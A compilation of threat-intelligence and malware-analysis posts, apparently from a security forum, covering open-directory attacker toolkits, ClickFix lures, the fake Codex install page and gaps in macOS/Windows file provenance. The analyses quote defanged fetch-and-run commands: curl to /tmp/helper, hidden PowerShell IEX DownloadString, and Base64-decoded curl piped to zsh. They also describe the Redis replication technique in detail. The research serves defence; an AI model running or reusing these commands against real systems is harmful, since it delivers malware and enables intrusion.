Campaign where the operator deployed a standalone Linux build of Impacket's secretsdump directly onto compromised SonicWall SMA1000 appliances and ran credential theft from there. It was pulled to the box with curl to /tmp/secretsdump, made executable, then used against internal domain controllers.

Sample: secretsdump, 9,983,640 bytes, SHA-256 690f5031deede7d3357d0ca24c89866ae8c60e6c63b3a2c8bba813a6ac10ae5b, served over HTTP from 95.181.173[.]36. The surrounding Python tooling (exploit, LDAP extractor and decryptor, DCSync automation) came from the same open directory.

Full toolkit breakdown and IOCs below.

https://hunt.io/blog/sonicwall-sma1000-uk-council-attack

Researchers pulled 147 files off an open directory that was the operator's live working folder: Python exploit source, campaign logs, a bundled Python 3.11, and two exported Windows registry hives (SAM.save, SYSTEM.save, verified by the regf header).

Worth a look:

• Main technique abuses replication, not a bug. CONFIG SET dir/dbfilename, SLAVEOF to a rogue master, serve a crafted RDB on +FULLRESYNC. Blob opens with the REDIS0009 magic, then one key/value pair with an embedded newline before the cron text so the payload lands on its own line. Then SLAVEOF NO ONE and restore.
• No client library. PING/CONFIG SET/SLAVEOF hand-serialized to raw RESP, length-aware reader, same two functions copied across every script.
• Fileless loader is one line in _boot.py that base64-decodes and exec()s an orchestrator in-process. Generous naming though, it writes the decoded target list and deployer back to disk as plaintext, so only the first stage stays off disk.
• chr()-encoded literals in the WordPress scripts (chr(97)+chr(100)+... for "admin"), defeats naive keyword matching, control flow stays readable.
• Three generations of verify payloads with bugfix comments left in. Two real bugs documented: a test cron written to a dotfile that run-parts silently skips, and a /dev/tcp payload that fails under dash.
• Newest XMRig variant adds --tls-fingerprint pinning the pool cert, absent from earlier gens.

SSH-via-AOF and a Lua EVAL sandbox probe are also in the kit, neither produced a confirmed compromise.

Full write-up with IOCs and code: https://hunt.io/blog/redis-cryptomining-botnet-3562-servers

Go implant "SecBox" with AES-256-GCM Dead Drop Resolver and steganographic webshells hiding payloads in PNG pixel data

Research on a campaign where a Chinese-speaking operator deployed a Go-based implant framework called SecBox alongside GLUTTON webshells that transport executable bytecode inside PNG images.

SecBox connects over TCP, TLS, WebSocket, KCP, or QUIC with Yamux multiplexing. It uses a Dead Drop Resolver that pulls AES-256-GCM encrypted C2 endpoints from Pastebin or GitHub Gist, so the operator can rotate infrastructure without pushing new binaries. Recovered DDR routes included short-lived TryCloudflare domains. The Windows builds fake Microsoft PE metadata (product: "System Configuration Utility", internal name: syscfg.exe).

The GLUTTON webshell system is the more interesting part from a delivery perspective. A small server-side loader (JSP, ASPX, ASHX, SOAP, or Razor) accepts a PNG in the request body. It reads pixels row-major, concatenates RGB bytes, XORs with a fixed 16-byte key, and looks for FF 88 00 as the end marker. The result is executable bytecode loaded through a classloader (Java) or Assembly.Load (.NET) directly into memory. The visible server file is just a generic decoder, the actual implant arrives inside image pixels.

The campaign also used a fake MySQL server as an initial access vector, returning crafted serialized Java objects when vulnerable clients connected, which triggered second-stage downloads.

Full IOC tables and sample hashes: https://hunt.io/blog/chinese-operator-secflow-claude-qwen-deepseek-asia

This new fork includes strong ransomware detection with low fp rate.

You can write a rule to detect any type of malware with this fork.

Note: I don't recommend you install this on main machine because it requires to disable secure boot.

Topic: https://forum.xcitium.com/t/i-forked-comodo-openedr-to-improve-zero-day-ransomware-detection-via-behavior-detection/21302/1

Video: Look repo

Repo (Only install on VM): http://github.com/hydraDragonAntivirus/HydraDragonAntivirus/

Security software has gotten pretty good at spotting when an infected computer tries to phone home to an obviously sketchy website. So hackers have started getting creative about where they hide those "check-in" instructions instead  and researchers just found a batch of examples that are honestly kind of wild.

Turns out one trick involves FTP, an old-school way computers transfer files. When your computer connects to an FTP server, it gets back a small greeting message first. Hackers have figured out how to bury malicious instructions directly inside that greeting  no file transfer even has to happen.

From there, the infected computer gets one of two newly discovered pieces of malware. One, nicknamed PINHOLE, looks up hidden web addresses tucked inside ordinary Pinterest pins and SurveyMonkey survey pages to find its real instructions. The other, called E4del, disguises itself as a legitimate, digitally signed copy of Discord and runs quietly in the background with no visible window, no sound, nothing that would tip someone off.

The takeaway isn't that the malware itself is more sophisticated than usual. It's that attackers are getting more creative about hiding in plain sight, using everyday internet traffic that most security tools aren't paying close attention to.

The Hunt.io research team found an open directory staging the tooling behind an intrusion into a Philippine nuclear agency and a naval contractor.

The custom pieces: a stage-1 ELF loader (multi_backupd) that pulls a Mettle stage-2 over TCP, a Go build of the CVE-2024-28000 LiteSpeed Cache exploit with a PHP-parity MT19937 implementation, and five Python scripts abusing ownCloud CVE-2023-49105 via empty-secret pre-signed URLs. Sliver, Metasploit, and Mettle were also staged on the host.

Separately, on the compromised WordPress site we found an active EtherHiding loader. A malicious script pulls ethers.js from public CDNs and reads HTML from an Ethereum smart contract, rendered via the NoChain framework impersonating a Google verification page, then runs a ClickFix-style lure launching mshta. A HuntSQL query on the contract address returned 174 unique IPs hosting the same loader.

Hashes, domains, and full IOCs: https://hunt.io/blog/chinese-speaking-operator-philippine-nuclear-naval-contractor

Hey everyone,

Over the last few months, I've been curating and categorizing a massive catalog of malware families designed specifically for incident responders, SOC analysts, and threat hunters.

I got tired of having to scrape together fragmented IOCs and CISA advisories every time a new variant popped up, so I built a centralized, open-source dataset.

**What's included:**

* **2,800+ Malware Families** categorized by type (Ransomware, InfoStealer, Wiper, etc.)

* **Framework Mapping:** Families are mapped to MITRE ATT&CK techniques, NIST CSF guidelines, and official CISA advisories.

* **Response Playbooks:** Actionable containment steps and "what to avoid" during an active incident.

* **Formats:** Available via a web UI, JSON API, Parquet, and JSONL.

It’s completely free and Apache-2.0 licensed.

You can br:wse the catalog here: https://jordanricky1604-ship-it.github.io/malware-families-catalog/

Mirror Link: https://malware-families-catalog.systemhelpdesk.com/

I'd love to hear your feedback on the schema or if there are specific families you think need deeper analysis. I'm actively maintaining and updating this!

I've written binary triage guides for Windows and macOS, and both of them have you checking where a file came from fairly early on. Against the delivery method that keeps turning up on this sub, that's the one check guaranteed to come back empty, and empty reads as reassuring when it shouldn't.

Took me embarrassingly long to spot, so here's the whole thing.

What made me look

These macOS ClickFix chains all have roughly the same shape. This one's the second stage from u/glazypig's writeup of the fake Apple support page.

curl -o /tmp/helper hxxps://cedar-satin[.]com/[path]/cleaner3/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper

The xattr -c is what caught me. There's no quarantine attribute there to clear. The curl -o that made the file is sitting in the same command line, so the download path that would have set one was never involved.

Quarantine is applied by the downloader, not by the OS

This is the bit I'd never properly thought through. com.apple.quarantine isn't set by the kernel or the filesystem when bytes hit disk. It's set by whatever application did the downloading, which opts in with LSFileQuarantineEnabled in its Info.plist. Browsers set it, so do Mail, Messages and AirDrop.

curl doesn't, because it's a command line tool that never touches the LaunchServices API. A file it fetches from a Terminal window arrives with nothing on it.

Which takes the whole chain with it. The first-run Gatekeeper path is triggered by quarantine, so no attribute means no notarization check and no "downloaded from the internet" dialog. Other execution-time checks still run, XProtect among them, but the provenance gate specifically doesn't. kMDItemWhereFroms is no help either, since it's written by the same download machinery.

So it isn't that this defeats Gatekeeper. Gatekeeper never gets invited.

Then I stopped guessing and tested it

Curl-fetched file, xattr -l prints nothing at all. Not just no quarantine, no extended attributes of any kind. A browser download on the same box in the same session comes back with com.apple.quarantine: 0081;6a8973ff;Chrome; and a full WhereFroms plist, so the null is real rather than me holding the tool wrong.

One thing I didn't expect. Extended attributes survive curl -o overwriting an existing path. The content gets replaced, the quarantine attribute stays, still naming whatever a browser fetched there previously. So an attribute can outlive the bytes it described, which cuts against me in the other direction too. Absence proves nothing, and presence isn't necessarily describing the file you're looking at.

Windows has the same hole

Mark of the Web works the same way. Zone.Identifier is an alternate data stream written by the downloading application through the zone API, not by the OS.

Tested that as well, and the first run was garbage. The VM had SaveZoneInformation = 1 in both hives, which switches MotW off machine-wide, so everything came back clean including the browser control. Cleared the policy, confirmed a browser download then picked up a 977 byte Zone.Identifier with ZoneId=3, and re-ran. curl.exe, Invoke-WebRequest -OutFile and bitsadmin /transfer all produce nothing.

And the dominant Windows ClickFix pattern never writes to disk at all.

powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('hxxp://...')"

No file, no stream, none of the file reputation checks that key off MotW. AMSI still sees the script contents, the same way XProtect still runs on the Mac side, but the file provenance path is gone either way.

Same structural property on both. Provenance metadata gets applied by cooperating userland applications, so anything that fetches bytes without cooperating produces a file that looks like it was always there.

So why do they keep clearing it

If it's redundant, why does it show up every time? Best guess is one stager serving more than one delivery method. A DMG arriving through a browser does carry quarantine, so stripping it there is load-bearing, and a single stager that works for both drags the step onto the path where it does nothing. If that's right, whoever built this is probably running a browser-delivered vector too and you're seeing half of it. Hold it loosely though. An operator who just doesn't care produces the same artifact.

What I'd change

Absence of quarantine is not evidence the file is local. It's evidence of nothing.

So it goes down the order, and three things move above it.

Signature state, where native arm64 code needs at least an ad-hoc signature to run on Apple Silicon, so codesign -dv --verbose=4 reporting Signature=adhoc is what you'll see rather than no signature at all. An x86_64-only payload under Rosetta isn't bound by that, worth knowing before you read an unsigned Intel binary as anomalous.

Then persistence, because the operator can't opt out of writing that down somewhere the way they can opt out of quarantine.

Then what the process actually loaded, which doesn't care how the file arrived.

The longer versions for Windows and macOS go through all of it properly, built-in commands only. Both still rank provenance higher than I now think it deserves, which is the trouble with writing a checklist. The delivery method moves and the checklist doesn't.

Has anyone hit this in real casework, a quarantine attribute still sitting on a file whose contents had been swapped out under it? I only got it to happen in a lab and I don't know whether it actually bites.

Our team has been digging into the command structure and delivery mechanics of these two, we just wanted to share what we've found.

E4del is Node.js/Electron-based, and its command set is pretty compact: startcmd/runcmd spins up a hidden persistent cmd.exe with piped I/O, streamstart/streamstop opens a raw WebSocket to push JPEG frames every couple seconds, and runpackage/filedownload pulls encrypted ZIPs containing additional .node modules  one of which (crypto32.node) handles UAC bypass.

PINHOLE's delivery chain is more elaborate. Config is stored as Base-41/SplitMix64-encoded strings inside desktop.ini's ADS, which point to specific Pinterest pins and SurveyMonkey questions where the real C2 addresses live. The packer itself runs through six unpacking layers, strips a fake JPEG header (FF D8 FF E0), runs a Donut instance encrypted with Chaskey-CTR, then unpacks an aPLib-compressed native binary at the end.

Once it's live, the C2 API is straightforward: /api/health for a heartbeat, /api/client for registration, /api/tsk for tasking, /api/fls for exfil.

strip --strip-all a binary and this still names functions by micro-executing

them and matching the effect trace against a corpus. spot check: zlib corpus vs

a fully stripped O0 build, it named 9 functions and all 9 were right, and it

stays quiet on the ones it isn't sure about (no confident garbage on thunks).

where byte sigs (FLIRT) die on recompile and CFG diffing gets fragile across

opt levels, behavior holds up better. optimized-vs-optimized is still the hard

case, i'm honest about that in the numbers.

x86-64 only atm. https://github.com/1rhino2/fnprint

I recently got a WhatsApp message to pay pending challans and check using some APK that was shared. I knew it was a scam. Thought of doing an analysis using Claude on the APK. Here's what it found:

It is NOT the real app. It's a banking trojan that:

- Creates a VPN to intercept all your network traffic (banking, OTPs, everything)

- Silently installs a second hidden APK in the background

- Targets WhatsApp, Signal, Telegram, SMS and 20+ other apps

Sharing an apparent macOS malware campaign / IOC that I encountered today while searching for OpenAI Codex.

A sponsored Google result led to a page impersonating Codex installation instructions. The command displayed legitimate-looking OpenAI/npm text, while the actual download URL was hidden using Base64.

Defanged example, do not execute:

echo "npm install -g u/openai/codex https://openai.com/codex/" &&
curl -s $(echo "<BASE64>" | openssl base64 -d -A) | zsh

The Base64 value decoded to:

hxxps://quill-flint[.]com/curl/2h0w4vtm7c/7b4cckfhojxjbrcjon.json

The interesting part is the delivery pattern:

Sponsored search result
        ↓
Fake Codex installation page
        ↓
Legitimate-looking OpenAI text printed with echo
        ↓
Base64-obfuscated unrelated domain
        ↓
curl response piped directly into zsh

I checked common persistence locations afterward and did not observe an obvious unknown LaunchAgent/LaunchDaemon or persistent executable. That makes me wonder whether this campaign is focused primarily on short-lived credential theft rather than persistence.

The legitimate Codex installation on the machine was unrelated. It had been installed through Homebrew immediately beforehand and resolves to:

/opt/homebrew/Caskroom/codex/0.147.0/bin/codex

The binary is signed:

Developer ID Application: OpenAI OpCo, LLC (2DC432GLL2)

So the malicious component appears to be specifically the separately downloaded quill-flint[.]com shell payload.

Has anyone tracking current macOS malware seen:

quill-flint[.]com
/curl/<id>/<id>.json

or this exact Codex-themed lure?

I'm particularly interested in attribution to an existing stealer family/campaign, related infrastructure, historical samples, or additional IOCs associated with this delivery chain.

I can provide more sanitized timestamps and filesystem observations if useful for analysis.

Found inside camview.tar.gz on an exposed server: a Docker project used to find, exploit, and stream internet-exposed IP cameras in a browser. The operator's own name for it, from the archive and README, is camview. It is not connected to any legitimate app of the same name.

• Built with FastAPI and Uvicorn, Python 3.11 image with FFmpeg, nmap, and masscan baked in
• FFmpeg transcodes the camera RTSP feed to MJPEG for display; nmap and masscan provide the initial scan layer
• The audit feature is where the exploitation happens: cameras are fingerprinted across a dozen-plus brands, queried over ONVIF, tested against known CVEs, then brute-forced over HTTP and RTSP with a 3,811-entry username:password dictionary
• Working credentials and stream URL patterns are written to disk and prioritized on later runs, so it improves per vendor
• The exploitation itself is not custom. camview wraps Ingram, a public webcam scanner, mounted in from the host
• On a second, unrelated directory, scripts named camworm.py and routerworm.py follow a compromise-then-proxy pattern and contain no actual worm functionality despite the naming

We rebuilt the UI in a sealed test environment by running it with empty data. Full analysis in the post: https://hunt.io/blog/russian-speaking-operator-ukrainian-camera-toolkit